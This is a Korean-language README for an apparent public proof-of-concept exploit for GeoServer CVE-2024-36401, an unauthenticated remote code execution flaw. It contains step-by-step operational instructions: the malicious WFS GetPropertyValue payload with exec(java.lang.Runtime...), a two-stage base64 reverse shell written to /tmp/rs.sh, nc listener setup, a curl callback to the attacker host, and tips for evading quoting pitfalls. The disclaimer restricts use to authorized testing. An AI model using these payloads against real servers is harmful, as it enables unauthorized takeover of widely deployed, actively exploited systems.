
GeoServer(CVE-2024-36401)의 OGC 필터 XPath 주입을 통한 인증되지 않은 RCE 익스플로잇입니다. 자동 버전 탐지 및 피처 타입 프로빙과 함께 리버스 셸 및 블라인드 명령 실행을 지원합니다.
OGC 필터 valueReference 매개변수 인젝션(XPath/JXPath 평가)을 통한 GeoServer 무인증 원격 코드 실행(RCE) 익스플로잇.
면책 고지: 이 도구는 승인된 침투 테스트 및 보안 연구 목적으로만 제작되었습니다. 소유하지 않았거나 명시적인 서면 테스트 승인을 받지 않은 시스템에는 사용하지 마십시오. 작성자는 이 도구로 인한 오용 또는 피해에 대해 어떠한 책임도 지지 않습니다.
GeoServer는 지리공간 데이터 공유를 위한 오픈소스 Java 서버로, 정부, 기업, 연구 환경에서 널리 사용되고 있습니다. CVE-2024-36401은 인증되지 않은 공격자가 OGC(Open Geospatial Consortium) 필터 매개변수에 Java 표현식을 주입하여 호스트에서 임의의 OS 명령을 실행할 수 있게 합니다.
이 취약점은 실제 환경에서 활발히 악용되고 있어 2024년 7월 CISA 알려진 악용 취약점(KEV) 카탈로그에 추가되었습니다.
| 브랜치 | 취약한 범위 | 수정 버전 |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
2.23.0보다 오래된 GeoServer 버전도 영향을 받을 가능성이 높지만, 지원이 종료(EOL)되어 테스트되지 않았습니다.
GeoServer는 OGC 필터 표현식을 평가하기 위해 GeoTools 라이브러리를 사용합니다. valueReference 매개변수(및 CQL_FILTER 등 다른 매개변수)는 어떤 검증(샌니타이제이션)도 거치지 않은 채 Apache Commons JXPath의 JXPathContext.selectNodes()로 전달됩니다.
JXPath는 다음과 같은 표현식을 통해 임의의 Java 메서드 호출을 지원합니다:
exec(java.lang.Runtime.getRuntime(), 'id')
이 평가는 특정 엔드포인트에서 인증 확인보다 먼저 수행되므로, 이 취약점은 완전한 무인증 상태로 악용될 수 있습니다.
취약한 엔드포인트:
POST /geoserver/wfs — valueReference가 포함된 GetPropertyValue 요청GET /geoserver/ows — 쿼리 문자열을 통한 동일한 매개변수핵심 기술 참고: valueReference 표현식에서 명령 문자열은 작은따옴표(')로 감싸야 합니다. 큰따옴표(")를 사용하면 XML 파싱 오류가 발생하여 실행되지 않습니다. 이는 다른 공개 PoC에서도 흔히 발생하는 함정입니다.
requests 라이브러리sf, topp, tiger로 충분함)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
또는 의존성을 직접 설치합니다:
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options:
-h, --help show this help message and exit
-t, --target TARGET Target URL, e.g. http://<TARGET>:8080
-l, --lhost LHOST Your IP address for reverse shell callback
-p, --lport LPORT Listener port (default: 4444)
-c, --cmd CMD Single command to execute (no output returned)
-f, --feature FEATURE Feature type override (auto-detected if omitted)
| 모드 | 플래그 | 설명 |
|---|---|---|
| 리버스 셸 | -l LHOST -p LPORT | bash를 통한 2단계 리버스 셸 |
| 명령 실행 | -c CMD | 단일 명령 실행(블라인드 — 출력 없음) |
| 피처 타입 재정의 | -f FEATURE | 자동 감지를 건너뛰고 지정된 타입 사용 |
먼저 리스너를 실행합니다:
nc -lvnp 4444
그런 다음 익스플로잇을 실행합니다:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444
예상 출력:
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath Injection RCE | CVE-2024-36401
Unauthenticated | CVSS 9.8 | Affects < 2.25.2 / 2.24.4 / 2.23.6
[*] Target : http://<TARGET>:8080
[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites
[*] Feature type : sf:archsites
[*] Listener : <LHOST>:4444
[*] Start : nc -lvnp 4444
[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener
리스너에서:
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
출력을 받지 않고 명령을 실행합니다. 대역 외(OOB) 검증이나 파일 배포에 유용합니다:
# Verify execution via file creation
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "touch /tmp/pwned"
# Trigger a curl callback to confirm execution
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "curl http://<LHOST>:8000/pwned"
참고: 셸 메타문자(
>,|,&,;)가 포함된 명령은 파싱 문제를 방지하기 위해 자동으로 base64 인코딩됩니다.
자동 감지가 실패하면 대상에서 확인된 피처 타입을 직접 지정합니다:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
GeoServer 샘플 데이터에 포함된 일반적인 피처 타입:
| 워크스페이스 | 피처 타입 |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
이 익스플로잇은 악의적인 valueReference 표현식이 포함된 GetPropertyValue WFS 요청을 전송합니다:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMMAND')
</wfs:valueReference>
</wfs:GetPropertyValue>
리버스 셸의 경우 exec()의 단일 문자열 인수 내부에 셸 메타문자가 포함되어 발생하는 문제를 피하기 위해 2단계 접근 방식을 사용합니다:
1단계 — base64 인코딩과 셸 중괄호 확장(brace expansion)을 사용하여 리버스 셸을 /tmp/rs.sh에 작성합니다(exec 문자열에 공백 없음):
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
2단계 — 스크립트를 실행합니다:
bash /tmp/rs.sh
이 방식은 첫 번째 exec() 호출에서 셸 인터프리터가 필요하지 않으므로 다양한 시스템 구성에서도 안정적으로 동작합니다.
[-] Cannot connect to target
curl http://<TARGET>:8080/geoserver/web/[-] No usable feature type found
-f <workspace>:<type>으로 사용자 지정 피처 타입을 지정해 보세요curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"[+] Payload delivered 그러나 셸을 받지 못함
LHOST:LPORT에 도달할 수 있어야 합니다")를 사용하지만 이는 동작하지 않습니다. valueReference 표현식 내부에는 작은따옴표(')가 사용되었는지 확인하세요.[!] Version X.X.X may be patched — attempting anyway
이 프로젝트는 MIT 라이선스로 배포됩니다. 자세한 내용은 LICENSE를 참조하세요.